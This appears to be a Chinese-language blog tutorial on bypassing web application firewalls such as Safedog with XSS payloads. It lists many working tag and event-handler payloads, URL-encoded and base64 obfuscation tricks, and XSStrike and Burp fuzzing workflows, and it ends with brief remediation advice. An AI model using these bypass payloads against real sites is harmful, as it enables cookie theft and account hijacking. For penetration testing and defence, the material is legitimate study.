XSS之waf的绕过以及安全修复(四)

常规waf绕过思路

标签语法替换

waf常拦截的标签

<script>  <a>  <p>  <img>  <body> <button>  <var>  <div>  <iframe>  <object> <input> 
<textarea>  <keygen> <frameset>  <embed>  <svg>  <math>  <video>  <audio> <select>

safedog

可以绕过的标签

audio标签

<audio src=x onerror=alert(47)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>

绕过dog

剩下的不在截图都可以绕过安全狗。

video标签

<video src=x onerror=prompt(1);>
<video src=x onerror=alert(48)>

div标签

<div style="width:expression(alert(/1/))">1</div>     ie浏览器执行
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>   url编码绕过

math标签

<math><a/xlink:href=javascript:prompt(1)>Xss

<math href="javascript:javascript:alert(1)">Xss</math>

button标签

<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>

keygen标签

<keygen/onfocus=prompt(1);>
<keygen onfocus=javascript:alert(1) autofocus>

object标签

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg    
      解码:<script>alert(1)</script>

iframe标签

<IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME>
<iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d">
<iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>

特殊符号干扰

在一些关键过滤的标签加一些/  #等符号 ,混淆安全狗的检测,也可以实现绕过,但是这个一般配合垃圾数据 等方式进行绕过,单靠特殊符号绕过有点难,这里单列出来是作为一种思路。

提交方式更改

安全狗有些检测只检测get方式,那么我们进行post方式提交就可以绕过。

post绕过

垃圾数据溢出

据我之前测试,现在的安全狗 胃口大的很,你必须很多垃圾数据才能撑趴下它,所以我不想去整了,但是这种方法是肯定可行的,一种思路。

加密解密算法

现在的各种加解密算法,只要对方服务器支持解析,基本都能绕狗 。

附上一个国外绕过各种waf的文章

[翻译]绕过XSS检测机制-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com

XSS-fuzz测试以及工具攻击

XSS在线fuzz

fuzz在线

这个使用你需要知道一些前端知识,参数进行调整,就会生产一大堆payload。

xss工具-XSStrik

使用方法:

-h, --help 			//显示帮助信息
-u, --url 			//指定目标 URL
--data 					//POST 方式提交内容
-v, --verbose 	//详细输出
-f, --file 			//加载自定义 paload 字典
-t, --threads 	//定义线程数
-l, --level 		//爬行深度
-t, --encode 		//定义 payload 编码方式
--json 					//将 POST 数据视为 JSON
--path 					//测试 URL 路径组件
--seeds 				//从文件中测试、抓取 URL
--fuzzer 				//测试过滤器和 Web 应用程序防火墙。
--update 				//更新
--timeout 			//设置超时时间
--params 				//指定参数
--crawl 				//爬行
--proxy 				//使用代理
--blind 				//盲测试
--skip 					//跳过确认提示
--skip-dom 			//跳过 DOM 扫描
--headers 			//提供 HTTP 标头
-d, --delay 		//设置延迟

xss工具

这里简单跑一下 就一堆payload  

工具绕狗

随便复制一个过来就实现了绕过,功能非常强大。

利用bp的fuzz绕过waf

dict

这里找一个字典,然后bp抓包利用这个字典进行fuzz:

bp爆破0

可以看到有的成功绕过。

也有的被拦截,我们直接用绕过的语句就好。

bp爆破1

安全修复

  • 上waf防护
  • 开httponly
  • 对特殊字符进行转义
  • 对输入内容的特定字符进行编码,例如表示 html标记的 < > 等符号。
  •  对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。
  • 将不可信的值输出 URL参数之前,进行 URLEncode操作,而对于从 URL参数中获取值一定要进行格式检测(比如你需要的时URL,就判读是否满足URL格式)。
  • 不要使用 Eval来解析并运行不确定的数据或代码,对于 JSON解析请使用 JSON.parse() 方法。
  • 后端接口也应该要做到关键字符过滤的问题。

 

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 共1条

请登录后发表评论